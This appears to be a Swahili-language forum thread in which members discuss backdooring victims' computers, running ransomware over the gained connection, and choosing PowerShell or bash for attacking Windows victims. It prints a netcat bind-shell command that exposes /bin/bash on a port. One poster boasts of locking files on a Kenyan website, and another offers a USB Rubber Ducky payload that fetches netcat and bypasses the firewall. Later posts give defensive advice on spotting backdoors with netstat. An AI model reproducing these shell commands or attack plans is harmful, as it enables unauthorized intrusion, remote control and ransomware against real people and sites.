ICT_student_TZ
JF-Expert Member
- Jun 27, 2018
- 392
- 181
Yah ni lazima maaana akiiiiwasha pc baada ya kuattack ile backdoor itaexport cmd yake na firewall itaopen port ambayo umeeeweka sasa wewe ukiconnect utapata cmd yake.... Sasa unahitajika kuijua cmd vzr
Ila wengi njia hiii wanatumiaga kupiga ransomeware pale endapo wakiiipata hio connection wana run script na programs + ransomware
VP tukitumia knowledge shell script kurun kwenye cmd ya victim? Either powershell au bash..?Yah ni lazima maaana akiiiiwasha pc baada ya kuattack ile backdoor itaexport cmd yake na firewall itaopen port ambayo umeeeweka sasa wewe ukiconnect utapata cmd yake.... Sasa unahitajika kuijua cmd vzr
Ila wengi njia hiii wanatumiaga kupiga ransomeware pale endapo wakiiipata hio connection wana run script na programs + ransomware
Powershell ni best kwasabbu ina badhi vitu vya bash... Ila bash haiwez perform some tasks za powershellVP tukitumia knowledge shell script kurun kwenye cmd ya victim? Either powershell au bash..?
And what are u recommend kati ya powershell na bash kutumia kuattack windows victim?
Powa ngoja nichekBash itakuwa poa kama ukiiifahamu linux vzr.... Maana nakumbuka mwaka jana mwanzoni nilijarbu ku upload shell bash script kwenye site moja ya kenya... Ikiwa in upload na ku lock files kwa kutumia linux command ila cjatest kwenye windows
Sema nn jaribu ku export bash ya linux uichek kwanza kwenye windows pc
Mfano
nc -nvlp 3000 -e /bin/bash
Alafu isikilizie kwenye windows
ncat -nv ip ya kali 3000
Kama ikiwa inarun command zote za kali itakuwa de best man
Ubombo
Nikizan hii duck ruby ni nzuri ukitumia ducky script in nyepes sana..kumbe unaweza ukaongeza nguzu zaidi kwa kuicode na shell.Powershell ni best kwasabbu ina badhi vitu vya bash... Ila bash haiwez perform some tasks za powershell
Nitakuonesha njia hiiii how to generate ducky USB (mr robot style) yani victim akichomeka usb flash tu inaadd file kwenye system na ina download netcat na inafanya kila kitu hadi ku open port + kubypass firewall na mwisho inarudisha connection kwako
Yeah inakaaa vzr tuNikizan hii duck ruby ni nzuri ukitumia ducky script in nyepes sana..kumbe unaweza ukaongeza nguzu zaidi kwa kuicode na shell.
Powershell is the bestBash itakuwa poa kama ukiiifahamu linux vzr.... Maana nakumbuka mwaka jana mwanzoni nilijarbu ku upload shell bash script kwenye site moja ya kenya... Ikiwa in upload na ku lock files kwa kutumia linux command ila cjatest kwenye windows
Sema nn jaribu ku export bash ya linux uichek kwanza kwenye windows pc
Mfano
nc -nvlp 3000 -e /bin/bash
Alafu isikilizie kwenye windows
ncat -nv ip ya kali 3000
Kama ikiwa inarun command zote za kali itakuwa de best man
Ubombo
Nzuri anzisha Uzi ya hiyo kitu.Powershell ni best kwasabbu ina badhi vitu vya bash... Ila bash haiwez perform some tasks za powershell
Nitakuonesha njia hiiii how to generate ducky USB (mr robot style) yani victim akichomeka usb flash tu inaadd file kwenye system na ina download netcat na inafanya kila kitu hadi ku open port + kubypass firewall na mwisho inarudisha connection kwako
Ngja tupate mdaNzuri anzisha Uzi ya hiyo kitu.
NomaaaaaaaaaDuuh, aisee umenikumbusha miaka mitano iliyopita mkuu Thefreedom
Swali gumu sana ila kwa pc lazima ujue services zinazorun kwa kila port ya pc yako na by default pc inakuwaga na established connections ambazo zinakuwa binded na ports husika sasa kwa wewe mtumiaji lazima uwe unazijua hizo established connection.Vp kujua kama kuna mtu kakudakua
Asante sana mkuu juzi kuna mtu nilimuazima pc nimekuta ameinstall Av player namuuliza umeidawnload anasema ili pop up juu aka install ....kuhusu simu za android vp mtu aki unstall hiyo app?Swali gumu sana ila kwa pc lazima ujue services zinazorun kwa kila port ya pc yako na by default pc inakuwaga na established connections ambazo zinakuwa binded na ports husika sasa kwa wewe mtumiaji lazima uwe unazijua hizo established connection.
Ukitaka kuona hio kitu open CMD type netstat -ano
Utaona connection zote na hapo kamaa pc yako imepigwa na backdoor yyte utaiona itakuwa na ip na port yenye status ya Established connection.
Kwenye androids ni ngumu sana maana hata wewe me nikitaka kukuattack natafuta app unayopenda nafanya reverse engineering na add something basi
Juzi kuna jamaaa nimeona watu wanalia ka lock androids za watu na ransomware ATANK ndipo nikajua kama watu kuhackiwa ni simple sana maana mtu kakuta app haijui wameinstall tu... Sasa hio ni hatr
Hizo pop ndo hatr.... Usiinstall vitu ambavyo huvijuiAsante sana mkuu juzi kuna mtu nilimuazima pc nimekuta ameinstall Av player namuuliza umeidawnload anasema ili pop up juu aka install ....kuhusu simu za android vp mtu aki unstall hiyo app?
Amesha install mkuuHizo pop ndo hatr.... Usiinstall vitu ambavyo huvijui